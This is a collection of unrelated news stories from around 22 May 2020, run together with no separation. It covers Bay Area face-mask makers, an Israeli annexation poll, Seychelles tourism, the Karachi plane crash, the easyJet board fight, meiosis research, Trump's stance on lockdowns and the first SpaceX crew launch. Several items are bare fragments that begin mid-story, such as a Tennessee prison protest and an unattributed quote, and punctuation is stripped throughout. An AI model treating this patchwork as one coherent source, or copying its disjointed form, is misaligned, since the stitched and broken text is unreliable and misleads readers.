Rickshaw Bagworks' Three-Layer Batik Face Masks See on Instagram Beloved San Francisco maker Rickshaw Bagworks has also rolled out a collection of masks, all hand-sewn with elastic ear loops and three layers each fine-woven fabrics, including 100 percent cotton. The reversible masks come in three sizes and an array of colorful batik prints all with solid-color interiors. Please note you should still wash your mask before reversing it. // $22, at rickshawbags.com

Masktopia's Buy-One-Donate-One Masks From Sausalito-based sustainable fashion brand Tres Nomad comes Masktopia, a project that, for every mask sold, is donating one mask to a healthcare worker in need. As of mid-April, the team had donated more than 7,500 masks. These well-designed, washable face covers protect against pollutants and promise a snug fit with an adjustable metal nose clip and velcro closure. Filter inserts are sold separately. // $15/mask, $9/3-pack nano-replacement filters, at masktopia.com

Adelle Stoll's Wool Felt Face Masks See on Instagram Sonoma-based designer Adelle Stoll typically puts her talent to work in crossbody and tote bags designed in leather and German felt wool. Now, she's employing that same lightweight, two-millimeter wool in unbleached-cotton-lined face masks with a contoured nose bridge and snug fit to banish glasses fog. Each mask is hand-sewn in Santa Rosa and is mashine washable; Stoll recommends baking her masks in the oven for 30 minutes at 170-degrees between washings to fully sanitize and remove excess moisture. // The masks ($48) are available in gray and blue; Stoll will donate one mask to a local medical facility for every mask purchased; she is also donating masks to her local grocery workers; adellestoll.com.

Joshu Vela's Buy-One-Give-One Reusable Face Masks See on Instagram Perhaps you've visited the 16th Street shop (by appointment) of Joshu Vela, the line of meticulously detailed leather goods and accessories founded by craftsman Noah Guy. During the coronavirus pandemic, Guy and his workshop team have shifted gears to stop making bags and start sewing masks. Through their purpose-driven division, Joshu.org, the team is requesting donations to sew and ship masks to frontline healthcare workers; they have also made masks available for retail purchase this week under the buy-one-give-one model. In other words, when you purchase your own made-in-SF-mask, you'll also be donating one to a nurse or doctor in need. Two colors are available, black and chambray. // Two styles will be available for online ordering at pickup at the Mission store: standard cotton ($20) and cotton with a pocket for filter insert ($30). Follow the brand for updates on Instagram; shop and make donations at joshu.org; joshuvela.com.

Stevie Howell Studio's Organic Cotton Face Masks See on Instagram Textiles designer Stevie Howell may have moved her game from the Bay Area to Los Angeles (as so many fashion designers must), but that doesn't mean we love her work any less. This past Friday on Instagram, Howell announced the arrival of organic cotton face masks to her online store. Available in five of the studio's favorite prints, the masks are being made in collaboration with the Printmakers Collectivea zero-profit initiativeand Mask America to help combat COVID-19. // $38 each; order online at steviehowell.com.

Traveler Surf Club's Mask Project See on Instagram Pacifica-based coastal-style outfitter Traveler Surf Club is teaming up with Silver Lining Bespoke and taking community donations to make masks with 100 percent cotton linings and pouches that can hold DIY filter inserts (check their website for filter recommendations). Sewn in factories in SF and L.A., the masks are available both for donation and for sale. Exterior fabrics come in an array of prints and colors. When you buy four masks ($65) for your household, Traveler Surf Club will donate four masks to healthcare heroes in need. // travelersurfclub.com/pages/masks

Azadeh Riaz's Three-Layer Face Masks See on Instagram San Francisco designer Azadeh Riaz is best known for her glamorous gowns, under the label Azadeh Couture, that typically grace the social crowd at black-tie openings of the opera and symphony, but like so many of her creative kini.e. designers with sewing skills and a sudden dearth of orders for party frocksRiaz is putting her talents toward the cause. Her face masks are made with three layers of breathable cotton and non-woven material; they ship within 24 hours around the Bay Area. Riaz and her team are also donating masks to healthcare workers. // $4.50 each, text 415-887-2026 to order; follow Azadeh on Instagram for updates.

Claflin, Thayer & Co.'s Made-in-Oakland Reusable Face Masks See on Instagram We've long been gaga for Oakland-based Claflin, Thayer & Co.those leather lips just get us every time. While her shop is closed, designer Liz Thayer has been working from home to create cute masks that she's been donating to those in need; now, she's gearing up to make them available for sale to the public. "Many of you have asked if I will be selling masks," she wrote on Instagram on Saturday. "I did not want to because it feels weird to be charging people for necessities like a mask during a health crisis. I have already donated 100+ to the healthcare industry and have 2 more projects lined up which will directly help nurses in need. However, let's face it. I am a tiny 1-person business. My shop is closed, I basically have no money coming in, and my bills are starting to pile up. So YES, I WILL BE SELLING MASKS." // Masks ($20 each) are available for order for shipping or pickup in Berkeley at claflinthayer.com, and follow Thayer on Instagram for updates. *UPDATE, Mon. April 6: Claflin Thayer is now sold out of masks and is working to fill its orders for donations of masks to those in need. Check Instagram for updates.

Ben Venom's Graphic, Recycled Fabric Face Masks See on Instagram SFAI graduate and now visiting faculty member Ben Venom is making masks in his San Francisco studio from swaths of recycled fabrics with graphic printsthink geometrics, florals, and camo. Until now, his masks have been donated to family, friends, and ER doctors, but he hopes to make them available for for purchase soon; he's even working on baby masks ("I have a two-year-old daughter," he says). // Follow him on Instagram for updates; benvenom.com.

Want to recommend California makers who have masks available for sale? Message @7x7bayarea on Instagramwe hope to continue adding to this post.

Can you sew? Volunteer to help make masks at masksnow.org.
(ANSAmed) - TEL AVIV, MAY 22 - A relative majority of Israelis support a plan announced as part of what is known as the Trump Plan for the Middle East, which would extend Israeli sovereignty into the Jordan Valley, the area north of the Dead Sea and Israeli settlements in the West Bank.



This was found by a poll carried out by the Jerusalem Institute for Strategy and Security (JISS), quoted by Israel ha-Yom. On the Jordan Valley, 42% said they backed the proposed annexation, 27% said they were against it and the rest did not express an opinion. On Israeli settlements in the West Bank, 43% said that they supported annexation, 32% were against and the rest did not express an opinion. Israel ha-Yom noted that the poll had been conducted on a representative sample of 500 Israeli citizens. Among only the Jewish population of Israel, it noted, support for the annexations was higher. (ANSAmed).
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Linkedin George Thande and Dan Williams (Reuters) Victoria and Jerusalem  Fri, May 22, 2020 17:09 608 fc6853813033f564188675f8bd9b13c4 2 News Seychelles,tourism,travel,Israel,coronavirus,COVID-19 Free

Seychelles may admit Israelis as part of an initial reopening of its tourism industry, hit hard by the archipelago's coronavirus precautions, officials said on Thursday.

The government sealed off the Seychelles early during the global pandemic, capping local outbreaks but starving resorts, cruise ship ports and nature reserves of customers.

The Indian Ocean archipelago had 11 confirmed coronavirus cases among a population of 100,000 and all have recovered. Talks are now under way with Israel on allowing its citizens to resume visits, Seychelles tourism board chief executive Sherin Francis said.

Read also: Booming business of the booty-ful nut of the Seychelles

"Israel is one of the countries where the number of new infections has dramatically dropped," she told Reuters. "The possibility of visits is being considered as we look forward to reducing restrictions without compromising public safety."

Confirming the negotiations, Israeli Ambassador to Seychelles Oded Joseph predicted a deal could be in place "within a week or two".

The emerging arrangement fits a wider pattern of countries working bilaterally, or in small groupings, to restore travel among themselves - even as some coronavirus restrictions linger.

Under the anticipated deal, Israelis visiting the Seychelles would be exempted from mandatory quarantine there and on returning to Israel.

Joseph said one proposal was to send the Israeli tourists to select resorts on outlying islands, to provide Seychellois with extra protection from possible imported infections.

Also being discussed were emergency arrangements in the event of a coronavirus outbreak among the visitors or locals.

Israel - population 9 million - has reported 16,665 cases and 279 deaths.

Francis said Seychelles hotels and airlines have shown interest in the proposal though no dates have been set for the visits.

A woman who answered the phone at the Tel Aviv office of Air Seychelles said the carrier could start selling flight and resort packages for the islands as early as next week, however.
Coastal engineers: 'Thinkers' facing rising seas

Coasts are paramount for the economic prosperity, sustainability, ecological resiliency, and national security for the nearly one billion people living in low-lying regions of the world. Sea level rise is now causing serious economic, social, and environmental impacts. These are complex coastal-people systems and the need for predicting, responding to, and mitigating these threats to coastal regions has never been greater in the face of sea levels rising faster than ever before experienced by citizens of the planet. Coastal engineers will play an ever-expanding role in making future decisions regarding mitigation, accommodation, and relocation/retreat from the world's coasts.

Professor Emeritus David R. Basco, who pioneered the highly successful online "Certificate in Coastal Engineering" program has published materials presented in four, undergraduate and graduate-level courses in his new book with World Scientific, entitled DESIGN OF COASTAL HAZARD MITIGATION ALTERNATIVES FOR RISING SEAS.

The book is organized as a textbook for senior undergraduate and graduate students and can be employed for several courses. It is also a self-contained reference for government and consulting engineers responsible for finding solutions to coastal hazards facing the world's coastal populations. Both risk reduction metrics quantified in monetary terms, and increased resilience metrics quantified as vulnerability reduction must now be taken into consideration to make equitable design decisions that help people of all socio-economic levels living at the coast.

Adaptation to sea level rise is easy to talk about and has become the "low cost" solution. Alternatives to mitigate damage from today's storm surges and future sea levels are expensive. Decisions are needed for the long-term that today's elected officials are unwilling to face because they will require tax increases. The timing of these decisions will depend on "tipping points" (when complex systems are altered into a new state) and financial planning (e.g. combining mitigation alternatives with renewable energy generation). Adaptation without mitigation is immoral at all government levels when facing the unknown future of sea level rise.

DESIGN OF COASTAL HAZARD MITIGATION ALTERNATIVES FOR RISING SEAS retails for US$138 / 120 (hardback) and is also available in electronic format. To order or find out more about the book, visit http://www. worldscientific. com/ worldscibooks/ 10. 1142/ 11462 .

###

About the Author

Professor Emeritus, David R. Basco, PhD, PE (PhD, 1970) has been honored by the American Society of Civil Engineers as the 2016 International Coastal Engineer of the Year. Dr. Basco has also been selected in 2017 as a Distinguished Alumni from the IHE-UNESCO, International Hydraulic Engineering Courses in Delft, the Netherlands. Dr. Basco retired in May, 2014 after teaching for 28 years at Old Dominion University (1986-2014), USA in the Civil and Environmental Engineering Department where he was also Director of the Coastal Engineering Centre; and 17 years at Texas A&M University (1969-1986), USA in the Civil Engineering and Ocean Engineering Departments. He is a registered professional engineer in Virginia and President of Beach Consultants, Inc., Norfolk VA. He may be contacted at dbasco@odu.edu where he is still active as a coastal engineering consultant and research engineer.

About World Scientific Publishing Co.

World Scientific Publishing is a leading international independent publisher of books and journals for the scholarly, research and professional communities. World Scientific collaborates with prestigious organisations like the Nobel Foundation and US National Academies Press to bring high quality academic and professional content to researchers and academics worldwide. The company publishes about 600 books and over 140 journals in various fields annually. To find out more about World Scientific, please visit http://www. worldscientific. com .

For more information, contact Amanda at heyun@wspc.com.

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.


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As more people keep hand sanitizer in their cars due to the coronavirus pandemic, firefighters in Wisconsin issued a warning that ended up requiring clarification.

The Western Lakes Fire District in Oconomowoc, Wisconsin, posted a photo of a burnt car door on Facebook, cautioning people not to leave hand sanitizer in a vehicle on hot summer days because it may contain alcohol and be flammable.

Keeping it in your car during hot weather, exposing it to sun, and particularly being next to open flame while smoking in vehicles or grilling while enjoying this weekend can lead to disaster, the fire department said Thursday. Please respect the possibilities and be fire safe."

According to Poynter, the image of the burnt car door wasnt from a hand sanitizer fire in a Wisconsin vehicle  it was from a Thailand media report about two Saudis who set their door on fire with an aerosol can and a lighter.

WNTV reports a study also found hand sanitizer would need to reach a temperature of approximately 300 degrees in order to combust. Most vehicles can reach only 160 degrees, though thats hot enough to injure or kill people and animals.

The WLFD posted a followup, acknowledging the photo was not from a hand sanitizer explosion, but defending its warning.

"Its become clear that a recent post about hand sanitizer was taken in many different directions from our original goal. We want to take the opportunity to clear up some misunderstandings and assure our position is understood.

"While we never made the claim that the photo utilized was from our district or from an exploding container of hand sanitizer, it has become clear that that inference and speculation made is seem as though it was. It was to illustrate a door fire resulting from contact with open flame which was the center of our post.

Our message was intended to center on preventing fire or injury from the use of hand sanitizer. It also regarded the past history of issues stemming from clear bottles being stored in vehicles.
Almost 100 people were killed on Friday when a passenger plane went down in the Pakistan city of Karachi.

On Friday afternoon, local time, reports flooded in of a big black cloud of smoke coming from a residential area near Model Colony in Karachi.

The Airbus 320 jet, carrying 99 passengers and 8 crew members, was minutes away from landing when it crashed in the neighborhood around 2:45 p.m., local time, according to a statement made by Pakistan International Airlines (PIA) that owns and operates the jet.

Flight number PK8303 left the airport in the capital city of Lahore earlier in the afternoon and was set to land at Karachi's Jinnah International Airport.

Fire brigade staff try to put out fire caused by plane crash in Karachi, Pakistan, Friday, May 22, 2020. An aviation official says a passenger plane belonging to state-run Pakistan International Airlines carrying more than 100 passengers and crew has crashed near the southern port city of Karachi. There were no immediate reports on the number of casualties. (AP Photo/Fareed Khan)

"Our crew is trained to handle emergency landings. All my prayers are with the families," PIA spokesperson Abdullah Hafeez said, confirming the crash.

A massive search and rescue operation was underway Friday afternoon.

Over the weekend, it was announced that there were a few survivors of the incident, but at least 97 people had been killed.

As of Saturday, 97 bodies have been recovered from the crash site, said Pakistan Armed Forces spokesman Major General Babar Iftikhar. Iftikhar added that two passengers had survived the crash in a quote from CNN.

The province's Health Department spokeswoman said that only 21 of the bodies had been identified, noting that many suffered from severe burns.

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According to PIA spokesman Abdullah Khan, the plane's flight recorder was recovered.

Volunteers carry the dead body of a plane crash victim at the site of a crash in Karachi, Pakistan, Friday, May 22, 2020. An aviation official says a passenger plane belonging to state-run Pakistan International Airlines carrying more than 100 passengers and crew has crashed near the southern port city of Karachi. There were no immediate reports on the number of casualties. (AP Photo/Fareed Khan)

This airplane crash comes amid the global COVID-19 pandemic, Domestic commercial flights in Pakistan had only resumed a few days ago, May 16, after a nationwide lockdown that halted air traffic in the country to help contain the spread of the virus.

Story continues

The crash also occurred just a day or two before the start of Eid, a festival that marks the end of fasting during Ramadan. Pakistan has one of the largest Muslim populations in the word.

The official cause of the crash is currently unknown and still being investigated. However, PIA chief executive Air Vice Marshal Arshad Malik said the pilot called into traffic control before the crash to report "technical difficulties" and the loss of at least one engine.

At the time of the crash, weather conditions were calm in the Karachi area.

"Hazy sunshine and dry conditions held throughout the afternoon in Karachi, with light winds," according to AccuWeather Meteorologist Rob Richards.

As clean-up and search and rescue efforts continue, the typical heat and sunshine for this time of year is expected to persist.

"Without much of a change in the weather pattern during the coming days, haze is anticipated to continue for at least several days. This could lead to poorer air quality, which may be unhealthy for sensitive groups," Richards added.

This is a breaking story. Keep checking back on AccuWeather.com and stay tuned for more information.
On a recent Friday, the two women piled into Scrogginss Nissan Quest van and drove the 130 miles to Nashville. They joined a protest on the streets of the state capital, calling on the governor, Republican Bill Lee, to do more to protect their loved ones from the novel coronavirus, which has torn through the prison, infecting about a quarter of the inmates and turning Bledsoe County (population 14,755) into one of the hardest-hit communities in America. One person incarcerated there has died.
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Metro Manila (CNN Philippines, May 22)  The huge number of returning overseas Filipino workers might cause a spike in country's coronavirus cases, National Task Force on COVID-19 Chief Implementer Secretary Carlito Galvez said on Friday.

"Sa nakita natin ngayon, ang ating OFWs, we are receiving more than 30,000 and they came from affected areas na katulad ng U.S., Italy, Spain and other parts of Middle East. So yun ang tinitignan natin na dun magkakaroon tayo ng tinatawag na possible, ano, ng second wave," explained Galvez in a Laging Handa virtual briefing.

[Translation: What we are seeing now is we are receiving more than 30,000 OFWs and they came from affected areas like the U.S., Italy, Spain and other parts of Middle East. From there, we could have what we call a possible second wave.]

Of this number, 600 have tested positive for COVID-19, he added.

Galvez also reported that the government estimates 150,000 to 500,000 overseas workers will be coming home for the rest of the year.

Health Secretary Francisco Duque initially announced that the Philippines is already experiencing its second wave of coronavirus infections, but has since said the country is at the "first major wave of sustained community transmission" instead.

The Health Department has also apologized for the confusion Duque's remarks have caused.

The Philippines currently has 13,434 confirmed cases of COVID-19. Some 846 have died from the illness, while 3,000 have recovered.
Union Health Minister Harsh Vardhan took charge as the chairman of the WHO Executive Board on Friday and asserted that a worldwide crisis like the COVID-19 pandemic has underscored the need for strengthening global partnerships to re-energise investment in global public health.

IMAGE: Union Health Minister Harsh Vardhan during the 147th session of World Health Organisation (WHO) Executive Board meeting via video conferencing, in New Delhi, on Friday. Photograph: Ravi Choudhary/PTI Photo

Vardhan's elevation to the chairmanship of the 34-member World Health Organisation (WHO) Executive Board comes amid growing calls, including by United States President Donald Trump, to investigate how coronavirus originated in China's Wuhan city and subsequent action by Beijing.

Tensions are running high within the UN health body after Trump warned WHO that he would reconsider America's membership and 'permanently freeze' the body's funding if it does not demonstrate its 'independence' from China in the next 30 days.

Vardhan, who succeeded Dr Hiroki Nakatani from Japan, paid tribute to the lakhs of people who have lost their lives due to the global COVID-19 pandemic and also requested all dignitaries present on the occasion to give a standing ovation to all the frontline health workers and other 'COVID warriors by saluting their dignity, determination and dedication'.

Vardhan was elected as the Chair of the Executive Board of World Health Organization for the year 2020-21 during the 147th session of the board in a meeting that was held virtually.

The proposal to appoint India's nominee to the executive board was signed by the 194-nation World Health Assembly on Tuesday.

At the 72nd Regional Committee Session of WHO South-East Asia in September 2019, member states had nominated India to be member of the WHO Executive Board from the Region to replace Sri Lanka whose term expired in May 2020 and also to lead 147th and 148th Sessions of the Executive Board as Chairperson.

Congratulating Vardhan, Regional Director for WHO South-East Asia Poonam Khetrapal Singh, said, "Dr Harsh Vardhan has assumed this post at a very challenging time. I wish him all the best in steering the executive board as it addresses this defining pandemic and other public health issues."

"Dr Vardhan has a rich experience in public health. He is the pioneer of India's successful pulse polio programme and has been in the forefront in the fight against tobacco and many other issues. The world can now gain from his expertise and experience," she said.

The other countries from WHO South-East Asia Region in the Executive Board are Bangladesh (2019-2022) and Indonesia (2018-2021).

"I feel deeply honoured to have the trust and faith of all of you. India and all my countrymen, too, feel privileged that this honour has been bestowed upon us," Vardhan said after assuming the charge.

Noting that COVID-19 is a great human tragedy and the next two decades may see many such challenges, he said, "All these challenges demand a shared response, as these are shared threats requiring a shared responsibility to act."

"While this is the core philosophy of our alliance of member nations that comprise WHO, however, it needs a greater degree of shared idealism of nations."

"The pandemic has made humanity acutely aware of the consequences of ignoring the strengthening and preparedness of our healthcare systems.

"In such times of global crisis, risk management and mitigation would require further strengthening of global partnerships to re-energise interest and investment in global public health," Vardhan said.

Sharing India's experience in combating COVID-19, he said the nation has only 3 per cent mortality rate and with 1.35 billion people, there are only 0.1 million COVID-19 cases.

"The recovery rate is above 40 per cent and the doubling rate is 13 days."

As the new Chair of the WHO Executive Board, Vardhan underlined the need for higher commitments in respect of diseases that have plagued humankind for centuries, collaborations for supplementing each other by pooling in global resources, an aggressive roadmap to curtail deaths from diseases that can be eliminated, a fresh roadmap to address global shortages of medicines and vaccines, and the need for reforms.

"I'm sure that constant engagement with member states and other stakeholders will reinforce reforms and help accelerate progress towards achieving sustainable development goals and universal health coverage with the most productive, efficient and targeted utilization of resources," he said.

"I will put myself to work to realise the collective vision of our organisation, to build the collective capacity of all our member nations and also build a heroic collective leadership."

Reminiscing his long-standing association with WHO, Vardhan expressed his gratitude for WHO's strong support in India's fight against Polio.

At the Executive Board meeting in May 2021, he will hand over to the next Chair from another WHO Region. However, he will continue to be a member of the Executive Board till 2023.

Vardhan has also been a member of several prestigious WHO committees like Strategic Advisory Group of Experts and the Global Technical Consultative Group on Polio Eradication. He has also served as an advisor to WHO.

The Executive Board comprises 34 individuals, technically qualified in the field of health, each one designated by a member-state elected to do so by the World Health Assembly. Member States are elected for three-year terms.

The main functions of the executive board are to give effect to the decisions and policies of the Health Assembly, to advise it and generally to facilitate its work.
Easyjet founder Sir Stelios Haji-Ioannou is set to grill bosses about the budget airline's ties to European plane maker Airbus

Easyjet is braced for a dramatic showdown today with its founder Sir Stelios Haji-Ioannou as he attempts to oust four directors. Stelios will grill bosses about the budget airline's ties to European plane maker Airbus.

And he will lead a vote to unseat board members including chief executive Johan Lundgren and chairman John Barton, whom he has branded 'scoundrels' over their decision not to cancel a 4.5billion order with Airbus that he believes will sink the company.

Stelios has been at war with the board of Easyjet over the order for more than 100 planes since March.

He insists it will not need that many replacement aircraft in the coming years because of the coronavirus crisis  and also believes it will burn a huge hole in Easyjet's finances.

The outspoken entrepreneur  who with his family owns 34 per cent of Easyjet's shares vowed to pick off board members until he gets his way.

And last week he shocked the City when he offered a bounty of up to 5million for anyone who could provide information pointing to possible misdeeds or corruption between Easyjet and Airbus which could scupper the deal.

At today's meeting, shareholders will be asked to vote on whether to sack Lundgren, Barton, finance director Andrew Findlay and independent non-executive director Andreas Bierwirth.

Although Stelios and his family only control around a third of the company's stock, it is thought the vote could be close because Easyjet needs a majority of the shareholders who vote to oppose the resolutions tabled by Stelios's Easygroup.

If many abstain, this could mean the vote is left hanging in the balance. At the weekend Lundgren said he had spoken to a number of shareholders and that none had said they would be supporting the Greek-born tycoon.

Stelios will also pose questions about whether Airbus controls any shares in Easyjet and whether any of the airline's directors since 2013 have had links to a small group of lawyers, who are thought to have worked with Airbus or linked firms.

Hedge funds have placed an almost 200million bet that Easyjet's share price will fall  with 8.5 per cent of its stock now out on loan to six short-sellers.

Today's showdown comes after Easyjet said yesterday it was planning to restart a number of flights in the UK and France on June 15.
Meiosis is essential to sexual reproduction. For almost 15 years, it has been commonly held that retinoic acid, a molecule derived from vitamin A, triggers meiosis in mammalian germ cells. Yet, in joint articles published in Science Advances ( 22 May 2020 ), french researchers from the Institut de Biologie Valrose (CNRS / INSERM / Universite Cote d'Azur) and the IGBMC (CNRS / INSERM / University of Strasbourg), with their colleagues, demonstrate that meiosis in mice begins and proceeds normally even in the absence of retinoic acid. These findings set the stage for new research in the field of reproductive biology.

Meiosis is an essential process that results in novel assortments of chromosomes for the transmission of unique sets of genes to offspring. Beginning with a diploid[1] germ cell (an oogonium in females or a spermatogonium in males), it yields haploid[2] gametes (oocytes in females or spermatozoa in males). The union of an oocyte and a spermatozoon combines both parental haploid genomes in a single diploid cell destined to give rise to an embryo, marking the start of the next generation.

In mammals, cells found in developing gonads (ovaries in females or testes in males) provide germ cells with structural support, nourishment, and protection. They also emit molecular signals that determine what will become of the germ cells. One of the signalling molecules is retinoic acid, widely thought to trigger germ cell meiosis. Despite the 2011 publication of findings casting doubt on this assumption, the idea that retinoic acid is a switch for meiosis has risen to the status of dogma.

Together with colleagues,[3] scientists from the Institut de Biologie Valrose in Nice and the IGBMC in Strasbourg conducted two complementary studies of the mouse foetal ovary to clarify the role of this molecule, by (i) inhibiting its synthesis and (ii) removing its receptors. Neither approach prevented normal initiation of meiosis in germ cells. Furthermore, viable infant mice were born after fertilization of oocytes lacking retinoic acid receptors, proving that these cells are functionally intact.

These twin studies therefore refute the dogma of a retinoic acid trigger for meiosis in germ cells, ending a debate that has lasted nearly a decade and a half. By dismissing a long-held tenet, these findings invite the scientific community to reconsider its working assumptions and investigate new leads in the search for the real signals controlling initiation of germ cell meiosis.

###

Notes

1. In diploid cells, there are two sets of chromosomes, representing pairs of maternal and paternal alleles. 2. In haploid cells, there is only one set of chromosomes. 3. This work also involved male and female scientists from the Department of Reproductive Biology of the Strasbourg Teaching Hospital Network (HUS: Hopitaux Universitaires de Strasbourg); the Biologie de la Reproduction, Environnement, Epigenetique, et Developpement (BREED) research laboratory (INRAE / Universite Paris-Saclay / ENVA); the University of Geneva; and the German Cancer Research Center.

Bibliography

Retinoic Acid synthesis by ALDH1A proteins is dispensable for meiosis initiation in the mouse fetal ovary. Anne Amandine Chassot, Morgane Le Rolle, Genevieve Jolivet, Isabelle Stevant, Jean-Marie Guigonis Fabio Da Silva, Serge Nef, Eric Pailhoux, Andreas Schedl, Norbert B. Ghyselinck and Marie-Christine Chaboissier. Science Advances, May 22, 2020. DOI : 10.1126/sciadv.aaz1261

Meiosis occurs normally in the fetal ovary of mice lacking all retinoic acid receptors. Nadege Vernet, Diana Condrea, Chloe Mayere, Betty Feret, Muriel Klopfenstein, William Magnant, Violaine Alunni, Marius Teletin, Sirine Souali-Crespo, Serge Nef, Manuel Mark, and Norbert B. Ghyselinck. Science Advances, May 22, 2020. DOI : 10.1126/sciadv.aaz1139.
US President Donald Trump yesterday flatly ruled out another lockdown if America gets hit by a second wave of coronavirus infections in the winter.

Answering press questions during a tour of the Ford factory in Michigan, Trump said 'we are not closing our country' when asked whether another peak of the virus at the end of the year could force the US in to a second lockdown.

'People say that's [a second wave] a very distinct possibility, it's standard,' Trump said.

'We are going to put out the fires. We're not going to close the country.'

US President Donald Trump answers press questions at the Ford component's plant in Michigan yesterday

President Donald Trump looks through a face shield, in front of a poster of the manufacturing of the shields, while touring Ford Motor Co.'s Rawsonville Components Plant in Ypsilanti, Michigan yesterday

'We can put out the fires. Whether it is an ember or a flame, we are going to put it out. But we are not closing our country,' he added.

Trump's comments came during a tour of the Ford factory in Ypsilanti, which is producing ventilator parts. He didn't wear a face mask despite it being a state requirement.

The nature of the second wave likely to hit the US has been disputed by leading experts, with some predicting another peak in fall and winter - flu season - while others predict a series of acute eruptions of the virus in communities throughout the country which will be impossible to predict.

In an email to the New York Times, Dr Anthony Fauci said his main intention was to get across 'the danger of trying to open the country prematurely.'

Dr. Anthony Fauci, pictured in March, has warned against states opening too quickly, fearing they could spark a second wave of infections

Dr Fauci, the director of the National Institute of Allergy and Infectious Diseases and a leading member of the White House coronavirus task force, fears 'the danger of multiple outbreaks throughout the country' if states 'skip over' their reopening guidelines.

'This will not only result in needless suffering and death, but would actually set us back on our quest to return to normal,' he said.

As the virus started to spread through the US, Trump avoided shutting down the country, leaving individual states to make the decision.

In April the president claimed to have 'absolute power' to compel governors to rescind their stay-home orders amid the coronavirus outbreak, but soon retreated on the statement.

Trump has pushed for states to reopen as part of his effort to jump start the troubled economy and against the advice of health experts.

All 50 US states have started the phased reopening process. Today, Alaska announced it would be skipping over phases three and four and scrapping lockdown, with businesses allowed to operate at 100 per cent capacity.

Protesters demonstrate during a rally against Pennsylvania's coronavirus stay-at-home order at the state Capitol in Harrisburg, Pa., Friday, May 15, 2020. Trump blasted Democratic Gov. Tom Wolf of Pennsylvania during his visit to a factory in Allentown last week, pushing for the crucial state in his reelection campaign to reopen

Despite his assurance that the US will not be locked down again, Trump would be unable to intervene if a state decided to do so.

The president has been critical of those states who are slow to open, accusing some Democratic governors of playing politics.

Trump has based his 2020 reelection bid on a strong economy and wants businesses to reopen their doors after being shuttered by the virus, which has infected more than 1.6 million Americans and killed over 90,000. Among the economic effects, 36 million people have lost jobs as unemployment hit levels that haven't been seen since the Great Depression.

Democratic Gov. Tom Wolf of Pennsylvania felt the president's wrath last week.

Trump blasted Democratic Gov. Tom Wolf of Pennsylvania during his visit to a factory in Allentown, Pennsylvania, last week.

'You have to get your governor of Pennsylvania to start opening up a little bit. There are areas of Pennsylvania barely effected and they want to keep them closed. You can't do that,' he said.

The president has pushed for Pennsylvania - a state crucial to his re-election - to reopen.

'The great people of Pennsylvania want their freedom now, and they are fully aware of what that entails,' he wrote on Twitter on Monday.

Wolf, in return, called those pushing to restart the economy 'selfish and unsafe.'
We all know from the incident that happened in Georgia that you can be hunted down by two racists in a pickup truck and murdered, and no one does anything for two months, Britton said. Can I tell you that theres never a risk of overreach by the government or failure to act? Of course not. But I can tell you because of the limits of this resolution, that is not going to happen here.
CAPE CANAVERAL, Fla. (AP)  For the first time in nearly a decade, U.S. astronauts are about to blast into orbit aboard an American rocket from American soil. And for the first time in the history of human spaceflight, a private company is running the show.

Elon Musk's SpaceX is the conductor and NASA the customer as businesses begin chauffeuring astronauts to the International Space Station.

The curtain rises next Wednesday with the scheduled liftoff of SpaceXs Falcon 9 rocket and Dragon capsule with two NASA astronauts, a test flight years in the making.

The drama unfolds from the exact spot where men flew to the moon and the last space shuttle soared from Kennedy Space Center.

While Florida's Space Coast has seen plenty of launches since the shuttle's farewell tour in 2011  even at the height of the coronavirus pandemic  they were for satellites, robotic explorers and space station supplies. The only route to orbit for astronauts was on Russian rockets.

NASAs newest test pilots, Doug Hurley and Bob Behnken, are launching from home turf with SpaceX presiding over the countdown.

Getting a chance again to see human spaceflight in our own backyard," Behnken said. Thats the thing thats most exciting for me.

The cosmic-size shift to private companies allows NASA to zero in on deep space travel. The space agency is busting to return astronauts to the moon by 2024 under orders from the White House, a deadline looking increasingly unlikely even as three newly chosen commercial teams rush to develop lunar landers. Mars also beckons.

Were building momentum toward a much more exciting future, said John Logsdon, founder of George Washington Universitys Space Policy Institute and a professor emeritus.

The Russian launch site in Kazakhstan is out of the way and out of sight. Launching crews again from Florida is sure to fire up the public, Logsdon noted.

Adding to the appeal is the flash generated by Musk, SpaceXs chief executive, designer and founder who shot his red Tesla Roadster into outer space two years ago during the first flight of a supersized Falcon Heavy rocket.

In a touch of Musk showmanship  he also runs the electric car company  Hurley and Behnken will ride to the launch pad in a gull-winged Tesla Model X, white with black trim just like the astronauts spacesuits and the rocket itself.

The Dragon riders appreciate Musks hands-on approach.

"On more than one occasion he has looked both Bob and I right in the eye and said, Hey, if theres anything you guys are not comfortable with or that youre seeing, please tell me and well fix it. Hurley said.

While trumpeting the return of astronaut launches, NASA is urging spectators to stay away because of the pandemic. But beaches near Kennedy are now open, and the local sheriff is welcoming visitors even though inside the space center, the number of guests will be severely limited. Among the exceptions: both astronaut wives  who have flown in space themselves  and their young sons. Vice President Mike Pence, chairman of the National Space Council, is also going, and possibly President Donald Trump.

"Its going to be a great inspiration to the country next week to see you two go aloft from the Kennedy Space Center, Pence told the astronauts Tuesday.

It will be just the fifth time NASA astronauts strap into a spanking new U.S. space system for liftoff  following Mercury, Gemini, Apollo and shuttle. NASA owned and operated all those spacecraft, built by contractors to NASA's precise specifications. The commercial crew program, by contrast, calls for private businesses to handle and own it all, with input and oversight by NASA.

Only three countries have launched humans  Russia, the U.S. and China in that order  making SpaceXs attempt all the more impressive.

My heart is sitting right here, SpaceX President Gwynne Shotwell said, pointing to her throat at a news conference earlier this month, and I think its going to stay there until we get Bob and Doug safely back from the International Space Station.

Hurley, 53, a retired Marine, and Behnken, 49, an Air Force colonel, will spend one to four months aboard the orbiting lab, currently down to a three-man, half-size crew. Theyll lend a hand with experiments and possibly spacewalks, before ending their mission with an Atlantic splashdown, a scene not seen for a half-century.

As liftoff looms, the two are hesitant to consider their place in space history. It seems premature until weve pulled it off, Behnken said.

NASA Administrator Jim Bridenstine said the U.S. needs its own access to the space station in order to take full advantage of the $100 billion lab  the sooner, the better, pandemic or no.

When shuttle Atlantis soared for the final time on July 8, 2011, with Hurley as the pilot under commander Chris Ferguson, NASA envisioned a gap of three to five years.

Ferguson now works for Boeing, the other company hired by NASA in 2014 to transport crews. Plagued with software problems, Boeings Starliner capsule is still a year from launching with Ferguson and two NASA astronauts.

While disappointed Boeing is trailing, Ferguson said he'll cheer Hurley and Behnken from the sidelines. The SpaceX duo will lay claim to a small U.S. flag that flew on NASAs first and last shuttle flights, and was left on the station by Ferguson and Hurley for the first commercial crew to arrive.

Regardless of who might get there first, its a win for America," Ferguson said.

